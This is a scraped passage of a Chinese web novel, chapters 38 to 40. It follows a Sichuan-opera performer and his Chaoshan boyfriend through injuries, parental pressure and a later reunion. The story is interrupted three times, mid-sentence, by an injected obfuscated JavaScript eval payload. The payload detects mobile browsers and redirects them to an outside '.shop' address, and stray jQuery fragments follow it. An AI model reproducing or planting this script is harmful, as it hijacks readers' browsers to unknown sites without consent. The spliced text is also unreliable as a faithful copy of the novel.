推开宿舍门,一阵浓郁的花椒味扑鼻而至。李霄川的姑姑正坐在床边,手里慢悠悠转着那个青花药罐。 “川娃说这个好用得很。”她把药罐放下,不由分说地把那袋鼓鼓囊囊的花椒塞进陈声和手里,“汉源花椒,炖汤放两粒最香。” 见陈声和发愣,她眨眨眼:“哦,他从小在我火锅店后厨耍大的,辣不怕,就怕没人陪着出汗。” 姑姑走后,陈声和才发现李霄川床头不知什么时候多了个不锈钢保温桶。 一掀开盖子,霸道的香气猛地冲出来,红亮亮的汤底上漂着几粒枸杞,底下沉着厚厚的牛油和密密麻麻的花椒,是姑姑特制的火锅底料,那香味简直要把整个房间都腌入味了。 说来也怪,当天傍晚,李霄川就又活蹦乱跳地出现在了排练厅。 陈声和正蹲在角落摆弄他那台老胶片相机,取景框里突然闯进一抹扎眼的红。只见李霄川一个鹞子翻身,大红靠旗“唰”地扫过供桌上的观音像,惊得那缕青烟慌忙躲闪。 后来照片洗出来,李霄川腾空而起的剪影不偏不倚,正好遮住了菩萨低垂的眉眼。 陈声和捏着照片看了好久,终于在背面用铅笔轻轻写下一行小字: 【原来你才是我的观音】 随后却像被什么烫到似的,拿起橡皮小心翼翼地擦掉了。字迹没了,只留下淡淡的铅笔印子,像心事的痕迹,擦掉了,却还看得见。 38.导演的手好软 省青年汇演前一周,李霄川整个人就跟人间蒸发似的,动不动就找不着人影。 那天下午,陈声和正猫在戏曲社仓库里收拾那些积了灰的胶片。 空气里全是霉味儿,呛得人鼻子痒。 他正翻着呢,手指突然碰着个冰凉梆硬的东西,拿出来一看,是面铜镜。背面刻着“川流不息”四个小字,镜框边上还留着道具组划拉过的痕迹,糙得很。 这不就是上月李霄川排《镜花缘》时候捣鼓出来的道具吗? “陈声和?”门口探进来个脑袋,是张远。他搓着手,一副有话憋着说不出的模样,连铜镜里照出来的影子都显得犹犹豫豫的,“那什么……李霄川在练功房……你最好别往那儿凑。” 陈声和满脑子问号地摸到练功房,果然看见几个低年级的学妹扒在气窗那儿偷看。刚走近,就听见里头“砰”的一声闷响,震得人心口发慌。 他凑到玻璃前一看,李霄川正玩命地练倒扎虎。 起跳、翻身、砸垫子,一遍又一遍。 脖子上那块和田玉平安扣,是去年陈声和特意从老家给他捎来的,这会儿跟着动作往垫子上磕,听得人心里直抽抽。 “从早上折腾到现在,绷带都干废两条了。”社长的声音突然从背后冒出来,一把按住他要推门的手,“他师父昨儿来看过,说再这么练,不等上台人就散架了。” 陈声和眯着眼从门缝往里瞅,李霄川后肩那片白练功服上,已经晕开了红痕,跟雪地里落了梅花似的。 他忽然想起文殊院那个居士摇头叹气的样子:“执念太深,折福份啊。” 晚上大概十点来钟,宿舍楼下突然有人扯着嗓子喊他。 李霄川杵在银杏树底下,右手拎着个印“潮汕老字号”的塑料袋,左边肩膀明显塌下去一截。 “正宗的牛肉丸,我托我姑朋友空运来的。”他故作轻松地转了个花枪,塑料袋哗啦啦直响,“整点?” 陈声和抿着嘴没搭腔。 李霄川讪讪地扯了扯他衣角:“莫生气咯乖乖,嗯?” 陈声和猛地转身就往楼上冲,楼梯踩得咚咚响。他怕再慢一步,就要让李霄川看见自己红了的眼眶。 这人永远这样。 认错时乖得像只猫,什么好听话都往外掏。等到了练功房,又把他师父那些话当圣旨,恨不得把命都搭进去。 明明才二十出头,浑身上下已经找不出一块好地方,往后这身子骨可怎么扛得住…… 李霄川看着那噔噔上楼的背影,心里比摔在垫子上还疼。 他何尝不知道陈声和难受,每次小广仔眼圈一红,他胸口就跟挨了几棍子似的。 宿舍里不锈钢一体锅咕嘟咕嘟冒着泡,牛肉丸在滚水里翻腾跳跃。 “我师父是省川剧院活武松。”李霄川筷子尖戳着丸子,忽然说,“他说我眼神太软,像……像……” “像你们潮汕的粿条。” 李霄川故意学广东口音,却看见陈声和盯着他左肩,血痂黏住了棉质T恤。 “……别生气了。”他伸手想去勾陈声和的手指,被对方啪地拍开。 陈声和闷不吭声拎来医药箱,酒精棉往伤口上一按,动作熟练得像医院护士。 说来也挺可笑,这位少爷在家连洗碗布都没摸过,现在倒好,天天给李霄川当专属护工。 酒精渗进皮肉那刻,李霄川疼得后背弓成虾米,硬是把哼唧声咽回肚子里。要搁平时早“乖乖好痛哦~”喊八百遍了,今天没敢吱声。 陈声和仔细看了看,这才发现,这根本不是新伤,而是旧痂反复撕裂后形成的沟壑纵横的疤痕组织。 “扑领母……”陈声和突然用潮汕话低声骂了一句。 李霄川脖子一缩,显然听懂了。毕竟去年寒假他吭哧吭哧啃完那本《潮汕方言脏话大全》,就为破译陈声和剪片子崩溃时的自言自语。 他是个武生,避免不了磕磕碰碰,让他保证不挂彩,不如让珠江倒流。可这话他不敢跟他的小广仔说。 要让他放弃,李霄川根本没考虑过。 他舍不得,这行当多好啊,往脸上抹了油彩,喜怒哀乐都藏在后面。面具戴惯了,反倒比真脸更自在。 “陈声和。”李霄川声音低低的,“要是汇演搞砸了……” 咚咚咚~ 话音被敲门声打断,张远探进半个身子:“声和,你妈电话追到宿管处了……”眼神瞟过李霄川时卡了下壳,“说急事,让你立刻回电。” 李霄川拍了拍他的手背:“先去回电话吧。” 陈声和不理他,把伤口处理完才拿着手机出去了。 电话接通,那头背景音嘈杂,母亲用潮汕话给保姆说话:“……寿宴请柬加印三十份,黄家单独做烫金版。” 还有点钞机哗啦啦响,随后才给他说话:“下月你大伯六十大寿,国外那几个堂兄妹都回来……” 陈声和靠着墙壁,默默听着。 推门回宿舍时,李霄川正抱着他的马克杯灌药酒,满屋辛辣。 书桌上摊着本岭南民俗图鉴停在婚嫁那页,红绸带书签压着纳吉二字。 这是昨天拍作业留下的战场,宿舍里三个不同地方的人差点为这事儿没吵起来,后来书也就忘收了。 桌上的牛肉丸已经凉了,汤里浮着一层凝固的牛油,而两人谁都没提那个电话。 …… 汇演当天飘着细雨,潮湿的空气里还混合着化妆间的发胶味和油彩的苦香。 陈声和靠在后台走廊斑驳的墙砖上,看着化妆师用一支秃了毛的狼毫笔蘸着朱砂,给李霄川勾画脸谱。 朱砂笔正划过他眉骨,在皮肤上拖出一道猩红的弧线。李霄川看着镜子里陈声和:“这妆要是卸不掉怎么办?” 陈声和自然接话:“那就戴着过一辈子。”话一出口就哽住了喉头。 化妆师扑哧笑出声,用棉签修补着李霄川眼尾的纹路:“那可不行,李老师女朋友该认不出来了。” 李霄川的目光在镜子里死死盯住陈声和,后者却偏头去看窗外被雨打湿的海报,水渍正沿着《挑滑车》的剧名慢慢晕开。 候场时陈声和蹲在侧幕条边,相机镜头捕捉着台上演员翻飞的靠旗。 取景框里,李霄川本来背对着,忽然一个转身,汗把鬓角沾在勾了金粉的脸边上,嘴唇一动,没出声。 但陈声和看得清清楚楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005879|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他说的是:“看我。” 就为了这一句“看我”,为了在评审面前搏一把,李霄川在高宠挑车那段戏,硬是临时加了个云里翻接劈叉。 陈声和的心一下子提到了嗓子眼,看着取景器里那人腾空而起,靠旗在顶光里甩的利落又疯。 落地时那一下趔趄,陈声和看得比谁都清楚。膝盖软了,可他硬是撑着把那句“看前面黑洞洞”唱完了,直到高腔在某个音节上突然就断了。 陈声和是第一个冲过去的。 什么省剧团,什么打分,什么一辈子保障,在那一刻全都碎了。他只听见李霄川摔下来时那声闷响,看见道具车翻倒,扬起的灰尘都带着绝望。 陈声和跪在一地散落的刀枪把子中间,手抖得不行,还是把那个平安符迅速塞进了他湿透的戏服里袋。 李霄川一边咳,血沫子就从嘴角往外冒,可他居然还在笑,油彩和血丝糊了一片:“你们潮汕人……不是常说……符不能沾血吗……” 陈声和眼圈红了,别开脸没接话。 这次汇演,李霄川看重,对整个剧社都至关重要。演出是要打分的,分数高的,就有机会被省剧团选上。 进了省团,不止是前途光明,更是一辈子的保障,连退休都能安安稳稳。 医院走廊里,消毒水味儿冲得人头晕。陈声和觉得,自从认识李霄川之后,他来医院的次数都快赶上回家了。 他呆站在手术室门口,盯着门上那个红灯一闪一闪,手指在口袋里摸到一颗糖。 李霄川上台前硬塞给他的枇杷糖,这会儿糖纸都被他捂软了。以为吃颗糖就不生气了,其实现在更生气了。 糖纸窸窸窣窣的声音,把角落里一个身影惊动了。一个穿着中山装、拄拐杖的老爷子慢慢走过来:“你就是那个广东仔?” 陈声和眯眼看了半天,才认出是李霄川的师父,宋老师。 “霄川说,他这伤是你治好的。”拐杖头突然抵上陈声和的胸口,实木的,硌得他生疼,“可他没跟我说……你才是他真正的病根。” 陈声和嘴唇动了动,一个字也说不出来。 手术灯灭的时候,宋老师已经不见了。护士递过来一个染血的平安符:“他一直紧紧攥着。” 黄纸被血浸透了大半,对着光,能看见背面晕开的字迹:怕什么戏假情真,要的就是这疯魔劲。 陈声和把符紧紧攥进手心。 李霄川被推出来时还没醒。 值班护士又递过来一块碎玉:“也是从他手里拿出来的,可惜了,上好的和田玉。” 陈声和拿棉签蘸着生理盐水,一点点擦他手心里的血,轻声说:“不可惜。” 潮汕人都信,玉碎了,是替人挡了灾。他默念着,指甲不知不觉掐进了自己的掌心。 窗外的雨不知什么时候停了。 夕阳穿过纱窗,一道一道打在李霄川脸上。他眼皮轻轻动了动,麻药劲儿还没完全过,声音糊糊的:“说好的……牛肉丸……还没吃呢……” 陈声和俯下身,闻到他身上熟悉的药酒味,还有不太明显的血腥气。 有一滴泪砸在他鼻梁上,很快被中央空调的冷风吹成一道凉痕。 39.因为会想起你 成都的雨季总是来得毫无预兆,用李霄川的话来说,就是打个伞吧,感觉没必要,不打伞摸哈脑壳又有点儿湿。 陈声和站在川剧团后台的屋檐下,望着雨水顺着青灰色的瓦片滑落发呆。水珠在石阶上砸碎,溅起细小的水花,打湿了他的裤脚。 连轴转的拍摄持续了三天,整个团队都疲惫不堪。他揉了揉太阳穴,喉咙干涩得发疼,像是塞了一口面包糠。 “陈导,这是明天的拍摄计划……”林瑶撑着伞跑过来,话说到一半突然顿住,“您脸色怎么这么差?” 陈声和摇摇头,习惯性地去摸口袋里的喉糖,却只摸到空荡荡的包装纸。他这才想起最后一颗早上就吃完了。 “没事,先把今天的素材导出来。”他的声音有些哑,仿佛也被雨水浸透了。 林瑶犹豫了一下:“可是您看起来……” “我说了没事。” 他语气不重,却让林瑶立刻闭上了嘴。团队里的人都知道,陈导平时温温和和的,可一旦涉及到工作,就固执得像块石头。 陈声和转身往临时搭建的剪辑室走,雨水打湿了他的衬衫后领,凉意顺着脊背爬上来。 大学时,也是这样阴雨连绵的天气,李霄川总会变魔术似的从口袋里摸出一颗枇杷糖,塞进他手里,说:“喏,吃颗糖心情会好。” 而现在,那个人就站在不远处。 李霄川正在练功房门口和剧团老师傅说话。他没上妆,素净的脸上那颗泪痣在雨天的昏暗光线里特别明显。 陈声和举起相机,镜头刚对准那张侧脸,取景框里的人却突然转头,目光直直地刺了过来。 那道视线太锋利,陈声和的手指不受控制地一颤,画面顿时虚了。 他放下相机,装作若无其事地低头检查设备,可李霄川的脚步声已经穿过雨幕逼近。 “陈导。” 陈声和抬起头,李霄川已经站在他面前,手里拿着一把伞。 “伞。”李霄川递过来,语气平淡,“听说你们设备怕潮。” 这借口找的……陈声和心里嘀咕,这么大个剧组,还能缺了这一把伞? “……谢谢。”他接过伞,手指不小心碰到李霄川的手背,冰凉的触感让他心头一跳。 李霄川收回手,插进口袋里,目光扫过他红扑扑的脸和耳尖:“你感冒了?” “没有。”陈声和条件反射地否认。 “嗓子都哑成这样了。”李霄川嗤笑一声,那表情像是在看一个嘴硬的孩子,“娇气。” 陈声和没吭声。他确实不舒服,脑袋沉得跟灌了铅似的,但还能硬撑。 他不想在李霄川面前露怯,尤其是在分开五年后重逢的档口。 两人之间隔着太多旧事,熟悉又陌生,让他不知怎么相处。 李霄川也没再追问,转身就钻进了雨幕里,背影很快被雨水晕染得模糊不清。 陈声和望着他的背影,握紧了伞柄。 回到剪辑室,陈声和强撑着开始工作。但屏幕上的画面越来越模糊,色块在眼前晃动,他不得不一次次眨眼来保持清醒。 “陈导,您要不要休息一下?”林瑶第三次询问时,声音里带着明显的担忧。 他刚想摇头,一阵突如其来的眩晕就席卷而来。他抓住桌沿,却还是控制不住地往前栽去。 “陈导!” 林瑶吓得赶紧扶住他,手一碰到他的额头就惊叫起来:“天啊,这好烫!您发烧了!” 陈声和想说自己没事,可一张嘴,喉咙就像被刀割一样疼。 视线里最后的光亮也被黑暗吞噬,耳边只剩下林瑶焦急地喊声:“喂?120吗?不对,等一等……我们在川剧团……” 意识模糊间,他感觉自己被人抱了起来。那人肩膀结实而有力,衣领上飘来的沉香味,混合着雨水的气息非常熟悉。 这让他恍惚回到了大一运动会,那时他崴了脚,李霄川也是这样背着他,穿过半个校园送他去医务室。 “……阿……川?”他低声呢喃着。 背着他的人脚步明显顿了一下,但最终什么也没说。 …… 等陈声和再次恢复意识时,首先感受到的是额头上冰凉的退烧贴。 窗外雨声依旧淅沥,床头灯在墙上投下温暖的光晕,他慢慢撑起身子,人已经不知何时回到酒店了。 床头柜上整齐摆着的药片和温水,杯底压着一张对折的便签纸。 【药三小时一次,粥在保温盒里】 字迹潦草得几乎飞起,但他一眼就认出来是李霄川的字。五年过去,那人写字还是这么……没进步。 陈声和盯着那张便签看了许久,才伸手去拿水杯。水温恰到好处,像是有人算准了他醒来的时间,并且刚刚换过。 他小口啜饮着,目光扫过房间,他的外套被妥帖地挂在衣架上,相机包端正地摆在沙发角落,一切都井然有序。 唯独他的手机,被人放在了枕头边,屏幕朝下。 放下水杯,他拿起手机。锁屏上显示着一条未读消息,来自母亲。他犹豫了一下,最终只是划开了相册。 手指悬在那个加密文件夹上方,迟迟没有点下去。 这个文件夹他设置了复杂的密码,连最亲近的助理都不知道。 里面存着上千多张照片,全是李霄川:练功时汗湿鬓角的李霄川,吃饭时鼓着腮帮子的李霄川,趴在课桌上睡着的李霄川,还有……他们许许多多的合照。 手指在屏幕上方微微发抖,他终究没敢点开。 正当他准备锁屏时,房门突然被敲响。 “陈声和。”李霄川的声音隔着门板传来,低沉又清晰。 陈声和手忙脚乱地关掉相册,清了清嗓子:“……进来。” 门开了,李霄川带着一身雨水的气息走进来,手里拎着个塑料袋。他的目光在陈声和手中的手机上停留了一瞬,随后若无其事地挪开。 “退烧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005880|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” “嗯。” 李霄川走到床边,从塑料袋里拿出一个纸袋,递给他:“吃点东西。” 陈声和接过纸袋,打开后整个人僵住。 里面是三个金黄油亮的蛋烘糕,还冒着热气,馅料是他最爱的奶油肉松,大学时他常拉着李霄川去校门口买的那种。 “……你还记得。”陈声和的声音几乎快被雨声盖过。 李霄川没有接话,只是沉默地坐在床边的椅子上,掏出手机开始处理消息。 他的手指在屏幕上快速滑动,眉头微蹙,一副公事公办的模样,仿佛刚才跑出去冒雨买蛋烘糕的人不是他。 陈声和咬了一小口,温热的奶油在舌尖化开,甜腻的滋味却让他的眼眶发热。校门口那个摊子早就迁走了,他不知道李霄川是从哪里找到这么相似的味道。 “李霄川。”他突然开口,声音有些发抖。 “嗯?”对方头也不抬地应了一声。 “密码……”陈声和盯着自己沾着奶油的手指,“是我爸的生日。” 李霄川的手指停在手机屏幕上,缓缓抬起头。 陈声和仍然低着头:“你当年问我,为什么连手机密码都不肯设成你的生日……因为我怕我爸发现。” 雨点敲打窗户的声音开始变得清晰起来。 李霄川的呼吸明显重了几分。过了许久,他才开口,嗓音沙哑:“陈声和,你现在告诉我这个,是什么意思?” 陈声和这才终于抬起头,通红的眼眶在昏黄的灯光下满是迷茫:“……我不知道。” 他是真的不知道。 五年时光在他们之间筑起的高墙,让他连一句简单的对不起都说不出口。 那些没能说出口的解释,那些被潮汕宗族观念压垮的承诺,现在说来又有什么意义? 李霄川深深地看了他一眼,突然起身走到窗前。雨水在玻璃上蜿蜒而下,将外面的霓虹灯光扭曲成模糊的色块。 “你助理说,”他的背影在雨夜中显得颇为挺拔,“你这几年从来不吃甜食,为什么?” 陈声和的手指慢慢地收紧,蛋烘糕的奶油从边缘溢出,黏在他的指缝间。 “……因为会想起你。” 李霄川的肩膀明显僵了一下。 陈声和望着那个熟悉的背影,想起大学时每次吵架,李霄川都会这样背对着他生闷气,等他去哄。 那时候他总会从后面抱住对方,把脸贴在那温暖的后背上,然后这个人就气消了。 但现在,他连伸手的勇气都没有。 “李霄川。”他又喊了一声,声音里带着压抑的哽咽。 李霄川没有回头,只是抬手快速抹了下脸:“把药吃了,粥也喝完。”他抓起外套,“我明天还有演出,先走了。” 他拿起外套,头也不回地离开了房间。 门关上的瞬间,陈声和的眼泪终于掉了下来,不断砸在蛋烘糕上,和奶油混在一起,变得又甜又咸。 40.他的神明,是我 大二那年冬天,成都罕见地飘起了雪,是这座城市十年来最大的一场雪……当然,这只南方人眼中的大雪。 他们刚交完校外公寓的押金,陈声和站在宿舍楼下的梧桐树旁等李霄川搬最后一批行李。 细碎的雪花落在他的睫毛上,广东仔第一次见到雪,兴奋地伸手去接,结果还没到手心就化成了水,羽绒服的毛领随着他的动作轻轻颤动。 “傻不傻?”李霄川拎着箱子从楼道里出来,看见这一幕忍不住笑出声。他放下箱子,从后面环住陈声和,把那双冻得通红的手包进自己掌心里。 “南方仔就是没见过世面。” 陈声和的耳尖以肉眼可见的速度红了起来,不知是冻的还是羞的。 “潮汕也会下雪……”他小声嘟囔,“只是很少。” “少来唬我。”李霄川用带着薄茧的拇指蹭了蹭他冰凉的脸颊,“那句歌词咋唱的来着?不下雪的广东~” 陈声和抬脚轻轻踢了他一下,不让他继续唱。 “去年过年是谁给我发消息,问成都下雪没?还说想去哈尔滨滑雪?”李霄川不痛不痒的,也没躲,顺手就接过了陈声和手里的行李箱,“走吧,带你去吃点热的,暖暖身子。” 陈声和一身轻松,他一边走,一边伸手去接雪花,后来干脆仰起脸,张开嘴,等着雪直接落进嘴里。 李霄川也不催他,就慢悠悠地拖着箱子跟在后面,时不时举起手机,对着那傻乎乎的“广仔”偷拍两张。 看着屏幕里那人专注接雪的侧影,总是忍不住对着屏幕咧嘴笑了起来。 学校后门那家开了二十年的蛋烘糕摊前冒着热气,老板认得这两个常客,每次都特意给他们多加了勺奶油。 陈声和捧着热乎乎的蛋烘糕,咬下去的瞬间外层酥脆内里绵软,奶油顺着嘴角溢出来也顾不上擦。 他能感觉到有道视线,带着灼人的温度,停在他脸上。果然,李霄川没忍一会,突然凑过来,舌尖轻轻扫过他嘴角。 “哎呦,广仔好甜。”他笑得眼睛弯成两道月牙,“这潮汕的水土,果真养人啊。” “…………” 陈声和手一抖,差点把剩下的蛋烘糕掉在地上,连脖颈都泛起粉色,结结巴巴地说:“你、你干嘛……” “亲我男朋友噻,犯法啊?”李霄川理直气壮地又咬了一口他手里的蛋烘糕,故意嚼得很大声。 “耍……耍流氓!”陈声和的声音越来越小,尾音都快融进飘落的雪花里了。 李霄川笑着帮他把松开的围巾重新系好,手指不经意擦过他的下巴:“难不成我对别人耍流氓?” 陈声和立刻摇头,发梢上的雪粒簌簌落下。他低头猛咬蛋烘糕,心跳声大得自己都能听见。 吃完饭回去的路上雪下得更密了,李霄川把自己的羊绒围巾解下来,一圈圈绕在陈声和脖子上,又抓过他的手塞进自己羽绒服口袋。 两个人的手套在口袋里悄悄十指相扣 “李霄川。”走到公寓楼下时,陈声和突然停下脚步。 “嗯?” “如果……”陈声和盯着两人踩出的脚印,“我是说如果,有一天我们分开了,你会怎么办?” 李霄川的手在口袋里收紧了一下:“好好地说这个干嘛?” 他声音里带着笑意,但眉头已经皱了起来。 陈声和低下头,声音很小:“就是突然想到了……” 李霄川转过身正对他,雪花落在他的睫毛上。 “不会分开。”他语气笃定得像在发誓,“要是你敢跑,我就追到潮汕去,天天在你家门口唱《白蛇传》,吵得你睡不安稳。” 陈声和笑着抬起头,眼睛在雪夜里相当亮:“那我会给你泡锯朵仔,苦死你。” “谁怕谁。”李霄川凑近他,鼻尖蹭了蹭他冻得发红的脸颊,呼吸在冷空气中凝成白雾,“反正这辈子你别想甩掉我。” 陈声和被他这副耍赖的模样逗笑了,睫毛上沾着的雪屑轻轻颤动着:“那要是李老板以后成了名角,嫌我碍事,转头找个阔太太怎么办?” “咋个办?凉拌!”李霄川认真说,“独一无二的广仔,是无价之宝,谁也别想跟我抢!” 路灯下,雪花落在他们交握的手上,落在肩头,落在发梢,像是时光提前为他们染上的白霜。 …… 一场雪过后,太阳难得出来溜个弯,公园里晒太阳的人比蚂蚁都多。 川剧社练功房的镜面蒙着一层水雾,模糊了李霄川的身影。他抬手抹了把脸,汗水顺着下巴滴落在木地板上,发出轻微声。 镜中映出他此刻的模样:红色绸带松松垮垮地缠在腰间,油彩在脸上晕开,手里的英歌槌早已被汗水浸得发黏。 左肩的旧伤又开始隐隐作痛,李霄川皱了皱眉,活动了一下肩膀,对着镜子调整姿势。 动作还是不够利落,转身时差点被绸带绊倒。 “再来一次。”他低声自语,声音在空旷的练功房里显得分外清楚。 按下播放键,潮汕英歌舞专属的鼓点立刻填满了整个空间。 李霄川深吸一口气,膝盖微曲,突然发力跃起。双槌在空中划出两道残影,绸带随着动作翻飞。 落地时右脚一滑,他整个人失去平衡,重重撞在把杆上,膝盖磕在地板上的闷响。 他咬着牙没喊出声,却听见练功房门口传来一阵骚动。 “卧槽,川哥这是在练什么功夫?” “看着好像是广东那边的民间舞?” “啊!他腰上的红绸带……好色气啊!” 李霄川抬头,看见戏曲社的几个学弟学妹挤在门口,有人举着手机在拍。 他的视线越过人群,定格在走廊拐角。陈声和抱着一摞专业书站在那里,镜片后的眼睛瞪得老大,嘴唇微微张着。 “小广仔!”李霄川眼前一亮,顾不上膝盖火辣辣地疼,撑着地板就要站起来。 陈声和却像受惊的兔子,转身就要走。 “等等!”李霄川急了,扯下腰间的红绸带就追出去。在走廊拐角处,他一把抓住陈声和的手腕,“跑什么?” 陈声和的耳尖红得滴血:“你……你疯了吗?在川剧练功房跳英歌舞?” “喜欢吗?”李霄川毫不在意的用袖子胡乱擦了把脸,结果把油彩抹得更花了。他喘着粗气,胸口剧烈起伏,“有什么关系,我特意找潮汕同乡会会长学的,他们说生日要跳这个……” “可今天不是我生日。” “是农历生日啊。”李霄川凑近他,呼吸还带着剧烈运动后的灼热,“你上次说,潮汕人过农历的。” 陈声和愣住了,他确实说过这话,在某个不经意的闲聊时刻。但他自己都忘了,可眼前这个满头大汗的傻瓜却记得清清楚楚。 走廊尽头的起哄声越来越近,几个学弟挤在转角处探头探脑,还有人吹着不成调的口哨:“李师兄跳得好骚哦!” 陈声和耳根烧得通红,一把拽住李霄川的手腕就往消防通道冲。 楼梯间的铁门在身后重重合上,将那些起哄声隔绝在外,只有绿油油的应急灯亮着。 “疼不疼?”陈声和伸手悬在那片淤青上方,手指微微点了点。 李霄川却抓住他的手按在自己心口,开始浮夸表演:“好痛哦,痛的必须要小广仔亲一下才能止痛。” “…………” 掌心里传来急促有力的心跳,震得陈声和手指发麻。 陈声和哽了一下:“为什么要学这个?” “你们潮汕人拜神要跳英歌舞嘛。”李霄川拖着戏腔的语调,手指轻轻摩挲他的腕骨,“我不是潮汕人,所以拜你。” “…………” 陈声和听得一愣,接着脸都涨红了。李霄川总是这样,把惊世骇俗的话说得理所当然。 “……笨蛋。”他低下头,声音发颤,“英歌要三十六人一起跳的。” “行,那我明年找三十五个师弟陪我跳。”李霄川笑着用额头抵住他的额头,汗湿的刘海蹭在陈声和眼皮上,“今年先将就一下,嗯?” 陈声和踮起脚吻了上去。这个吻带着汗水的咸涩和油彩的苦味,李霄川惊得后退半步,后脑勺咚地撞上消防栓。 他顾不上疼,扣住陈声和的后脑加深这个吻,却感觉到怀里的人在发抖。 “声和?” 陈声和猛地背过身去,肩膀缩成一团。 李霄川把他转回来,应急灯正好照见他满脸的泪痕。 “怎么了?我弄疼你了?”李霄川手忙脚乱去擦他的眼泪,却被滚烫的泪滴灼得手指一颤。 “李霄川。”陈声和打断他,“我怕以后没机会了。” 楼梯间的声控灯忽地熄灭,黑暗里只剩下交错的呼吸声。 李霄川感觉到陈声和的眼泪渗进他胸口的衣料,烫得他心口发疼。 “说什么傻话呢。”他收紧手臂,把颤抖的人牢牢圈在怀里,“我们有的是时间。明年生日,后年生日,大后年……” 陈声和把脸埋在他肩上,没让他看见自己眼中的绝望。 这天晚上,陈声和固执地没有回公寓,也不去宿舍,李霄川什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005881|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没问,只是默默在附近酒店开了间房。 陈声和坐在床沿,盯着自己放在膝盖上的手。浴室的水声停了,李霄川带着一身热气走出来,发梢的水珠滴落在锁骨上,又顺着胸膛滑进浴袍里。 “帮我擦头发?”李霄川把毛巾递给他,嘴角扬起耀眼的弧度,眼睛亮晶晶的,像只等待主人抚摸的大型犬。 陈声和接过毛巾,动作轻柔地擦拭那些湿漉漉的发丝。李霄川舒服得眯起眼,轻声说:“我订了去潮汕的车票。” 毛巾从指间瞬间滑落,掉在地毯上发出闷响。 “下个月清明假期。”李霄川转身握住他冰凉的手指,拇指轻轻摩挲着他的指节,“你不是说过要带我去吃粿汁,记得吗?去年这时候你馋得半夜给我发消息。” 陈声和猛地抽回手:“不行!” “……为撒子?”李霄川的川音不受控制地冒了出来。 “我爸妈……”陈声和的喉结艰难地滚动了一下,“他们不知道我……” 李霄川的眼神黯了黯,但很快又挂上笑容:“好吧,那就不见家长。”他凑近了些,浴袍领口露出大片肌肤,“就当普通同学去玩。” 鼻尖蹭着陈声和的耳垂,温热的气息喷在颈侧:“还是说,陈同学想带我见家长?” 陈声和没笑。 李霄川叹了口气,把他搂进怀里。浴袍上带着酒店沐浴露的廉价香气,却莫名让人安心。 “好了好了,不去就不去。”他感觉到怀里的人仍在发抖,故意用轻快的语气说,“那我们就转成地下恋吧,我保证不让他们发现。” 说着还孩子气地举起手掌要发誓。 陈声和却突然吻上来。 这个吻又急又凶,牙齿磕到嘴唇也顾不上,像是要把所有说不出口的话都倾注其中。 李霄川被推倒在床上,惊讶地看着平日温吞的恋人像变了个人。 “声和,等等……唔……声和!” 陈声和却像没听见,手指颤抖着解自己睡衣的扣子。 李霄川这才发现他在哭,冰凉的泪水已经打湿了整个胸口。他猛地握住陈声和的手腕。 “幺儿……莫哭咯~”指腹慌乱地抹去那些泪水,“出啥子事了?跟我摆一哈。” 陈声和摇头,执拗地继续吻他,眼泪却越流越凶。 李霄川看着他,似乎明白了什么,心脏像被狠狠打了一拳。他捧起陈声和的脸,声音沙哑:“你在害怕什么?” 陈声和闭上眼,睫毛湿成一簇簇:“……梦到你不要我了。” “傻子。”李霄川吻掉他的眼泪,“这辈子都不会。” 他把陈声和的手按在自己心口,让那急促的心跳传递最直白的承诺。 窗外不知何时下起雨,雨滴敲打着玻璃,陈声和听得越发烦躁,他在泪眼蒙眬中看着李霄川被水汽晕开的轮廓。 他想说不是的,是我可能会先放手,是我爸上周打电话说已经给我安排了相亲,是妈妈在电话里哭诉陈家就你一个儿子的哽咽。 可他最终什么也没说,只是更紧地抱住了李霄川,仿佛这是最后一个夜晚。 …… 次日清晨,李霄川先醒了,动了动手臂,发现自己右臂已经发麻,陈声和正蜷缩在他怀里,后背紧贴着他的胸膛,像是要把自己嵌进去。 少年眉心蹙着,睫毛随着呼吸轻颤,显然睡得并不安稳。 李霄川用左手轻轻拨开对方汗湿的额发,指节蹭过微凉的脸颊时,在枕套上发现几道浅褐色的泪痕。 自从确定关系后,最亲密的接触不过是电影散场后,在路灯照不到的巷□□换带着可乐甜味的吻。 陈声和总说喜欢这种纯情的恋爱节奏,而李霄川的成长经历,让他对“情欲”和“情意”有着固执的区分。 床头柜上,陈声和的手机屏幕亮了一下。 李霄川本不想看,却瞥见锁屏通知上的:【阿妈:这几个女孩照片你…】 后面的内容被折叠成省略号。 李霄川条件反射地移开视线,却已经看清锁屏壁纸是他们上周在锦里拍的合照,陈声和举着糖油果子冲镜头傻笑,他戴着对方硬要买的熊猫发箍。 